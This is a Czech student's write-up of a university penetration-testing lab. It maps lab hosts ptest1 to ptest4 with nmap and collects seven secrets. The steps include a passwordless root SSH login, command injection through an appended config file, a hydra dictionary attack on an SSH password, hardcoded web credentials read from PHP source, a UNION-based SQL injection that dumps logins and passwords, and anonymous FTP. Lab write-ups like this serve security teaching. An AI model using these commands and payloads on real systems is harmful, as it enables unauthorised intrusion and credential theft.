Mapování sítě

Po prihlášení do sítě BIS zjistíme, jaké servery se zde nachází (stanice studentů a ihujnak nás nezajímají)

```
[student@xcoufa09 ~]$ ifconfig
...
       inet 192.168.122.25 síťová_maska 255.255.255.0  všesměr 192.168.122.255
...
[student@xcoufa09 ~]$ nmap -sP 192.168.122.0/24 grep local
...
Nmap scan report for ptest4.local (192.168.122.10)
Nmap scan report for ptest3.local (192.168.122.160)
Nmap scan report for ptest2.local (192.168.122.204)
Nmap scan report for ptest1.local (192.168.122.243)
…
```

Tím pádem nás budou zajímat servery **ptest1**, **ptest2**, **ptest3** a **ptest4**. Následně se podíváme, jaké služby kde běží.

```
[student@xcoufa09 ~]$ nmap -T4 -F ptest1
...
22/tcp   open  ssh
111/tcp  open  rpcbind
2049/tcp open  nfs
[student@xcoufa09 ~]$ nmap -T4 -F ptest2
...
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
[student@xcoufa09 ~]$ nmap -T4 -F ptest3
...
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
3306/tcp open  mysql
[student@xcoufa09 ~]$ nmap -T4 -F ptest4
…
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.2
```

A a B) Root uživatel

Pro přístup na **ptest1** není nic jednoduššího, než se přihlásit na **root** účet pomocí SSH (dovolí nám to certifikát ve složce `.ssh`), který není zabezpečen heslem. Následně zkusíme najít všechna tajemství, co se nabízí – tajemství A a B.

```
[student@xcoufa09 ~]$ ssh root@ptest1
[root@ptest1 ~]# find / -name "secret*.txt"
/var/local/not-rootkit/secret2.txt
/var/local/eis/secret.txt
[root@ptest1 ~]# cat /var/local/eis/secret.txt /var/local/not-rootkit/secret2.txt
Ziskali jste tajemstvi "A:...
Ziskali jste tajemstvi "B:...
```

A) EIS

Postup uvedený výše však asi nebyl zamýšleným řešením. Proto jsem se pustil do zkoumání připojení definované v `.ssh/config` na uživatelském stroji. To říká, abychom využili definovaného klíče a uživatele **centos** (připojení **appsrv**). Následně lze zneužít konfigurace EIS v `/etc/eis/config`.

```
[student@xcoufa09 ~]$ ssh appsrv
[centos@ptest1 ~]$ echo 'caller' >> /etc/eis/config
[centos@ptest1 ~]$ eis
6 /var/local/eis/bootstrap.sh
…
[centos@ptest1 ~]$ echo 'ls /var/local/eis/' >> /etc/eis/config
[centos@ptest1 ~]$ eis
...
bootstrap.sh  invoices.db  secret.txt
…
[centos@ptest1 ~]$ echo 'cat /var/local/eis/secret.txt' >> /etc/eis/config
[centos@ptest1 ~]$ eis
...
Ziskali jste tajemstvi "A:...
...
```

B) Not Rootkit

Při pohledu do souboru `/etc/passwd` nalezneme podezřelého uživatele **not-rootkit**. Zkusíme se na něj přihlásit z účtu **centos** (pomocí sudo, protože neznáme heslo pro uživatele **root**) a prozkoumáme jeho domovskou složku.

```
[centos@ptest1 ~]$ cat /etc/passwd
...
not-rootkit:x:1001:1001::/var/local/not-rootkit:/bin/bash
...
[centos@ptest1 ~]$ sudo su - not-rootkit
Poslední přihlášení: Ne 26.11.2017 22:02:02 CET na pts/5
> pwd
/var/local/not-rootkit
> ls
secret2.txt  test
> cat secret2.txt
Ziskali jste tajemstvi "B:...
```

C) Princezna Anna

Na výchozí pracovní stanici máme ve složce Mail emailovou zprávu, které nás navádí na server **ptest2** (odesílatel) a nabízí nám uživatele **anna** (příjemce). Tento účet bohužel vyžaduje znalost hesla pro přihlášení přes SSH. Na serveru **ptest1** se nabízí nástroj `hydra` pro slovníkový útok. Po přihlášení se pak v domovské složce nachází další tajemství.

```
[root@ptest1 ~]# hydra -P pass.txt -l anna ssh://ptest2
...
[22][ssh] host: 192.168.122.204   login: anna   password: princess
...
[student@xcoufa09 ~]$ ssh anna@ptest2
anna@ptest2's password: princess
[anna@ptest2 ~]$ cat secret.txt
Ziskali jste tajemstvi "C:...
```

D) Robocop

E-mail použítý v předchozím tajemství nám dále ještě podsouvá, abychom se zajímali o program `robocop`. V tomto programu se nám vyplatí odhalit jednotlivé řetězce, které obsahuje.

```
[anna@ptest2 ~]$ strings `which robocop` | grep tajemstvi
Ziskali jste tajemstvi "D:...
```

E) Webové stránky

Na tomtéž serveru, **ptest2**, se nachází i služba HTTP, ta ukazuje formulář pro přihlášení. Protože zde ale neběží žádná databáze, je pravděpodobné, že přihlašovací údaje budou uložené jiným způsobem. Prozkoumáme tedy co se nachází v adresáři webového serveru, kam má Anna přístup

```
[anna@ptest2 ~]$ curl -i http://ptest2
…
<form action="/action_page.php" method="post">
...
[anna@ptest2 ~]$ find / -name "action*.php" 2>/dev/null
/var/www/html/action_page.php
[anna@ptest2 ~]$ cat /var/www/html/action_page.php
...
if (isset($_SESSION['logged']) && $_SESSION['logged']) {
      echo file_get_contents('/tmp/aseda');
...
   if (  $uname == 'admin'
      && $pwd   == '.8}Yg3,9ro>&jR{') {
...
```

Zde vidíme nejen přihlašovací údaje, ale i co se stane po přihlášení. Pokud použijeme přihlašovací údaje, získáme stránku s tajemstvím:

```
Ziskali jste tajemstvi "E:...
```

F) SQL injekce

Na serveru **ptest3** taktéž běží HTTP služba, které nám nabídne pohled do adresáře kontaktů firmy. Stránka nabízí možnost filtrovat kontakty, ale také přidávání zaměstnanců. Krátký pohled na formulář pro přídávání zaměstnanců nám poskytne nápovědu k tomu, jak postavit SQL dotaz, abychom získali tajemství.

```
[student@xcoufa09 ~]$ curl -i http://ptest3
…
      <input type='text' name='filter-string'><br>
     <input type='submit' name='filter[name]' value='Filter by name'>
     <input type='submit' name='filter[email]' value='Filter by e-mail'>
     <input type='submit' name='filter[address]' value='Filter by address'>
     <input type='submit' name='add-employee-1' value='Add new employee'>
...
[student@xcoufa09 ~]$ curl -i -X POST -d "add-employee-1=" http://ptest3
...
     Name: <input type='text' name='contact[name]'><br>
     Login: <input type='text' name='auth[login]'><br>
     E-mail: <input type='email' name='contact[email]'><br>
     Address: <input type='text' name='contact[address]'><br>
     Password: <input type='password' name='auth[passwd]'><br>
...
[student@xcoufa09 ~]$ curl -i -X POST -d 'filter[name]=&filter-string=<cokoliv>"
UNION ALL SELECT login,passwd,1,1 FROM auth WHERE 1="1' http://ptest3
…
<tr><td>admin</td><td>F:...</td><td>1</td><td>1</td></tr>
...
```

G) FTP

Server **ptest4** provozuje službu FTP, která dovoluje přihlášení anonymního uživatele. Následně na serveru nalezneme soubor `definitely_no_a_secret.gif`, který se jen tak povaluje ve složce `pub`. Soubor jako takový se jeví poškozen, ale pro jeho analýzu stačí v něm vyhledat textové řetězce a tajemství G je na světě:

```
[student@xcoufa09 ~]$ ftp ptest4
...
Name (ptest4:student): ftp
Password:
230 Login successful.
ftp> ls
drwxr-xr-x    2 0        0              41 Oct 22 20:50 pub
ftp> ls pub
-rw-r--r--    1 0        0           39742 Nov 26 16:15 definitely-not-a-secret.gif
ftp> get pub/definitely-not-a-secret.gif secret.gif
…
[student@xcoufa09 ~]$ strings secret.gif | grep tajemstvi
Ziskali jste tajemstvi "G:...
```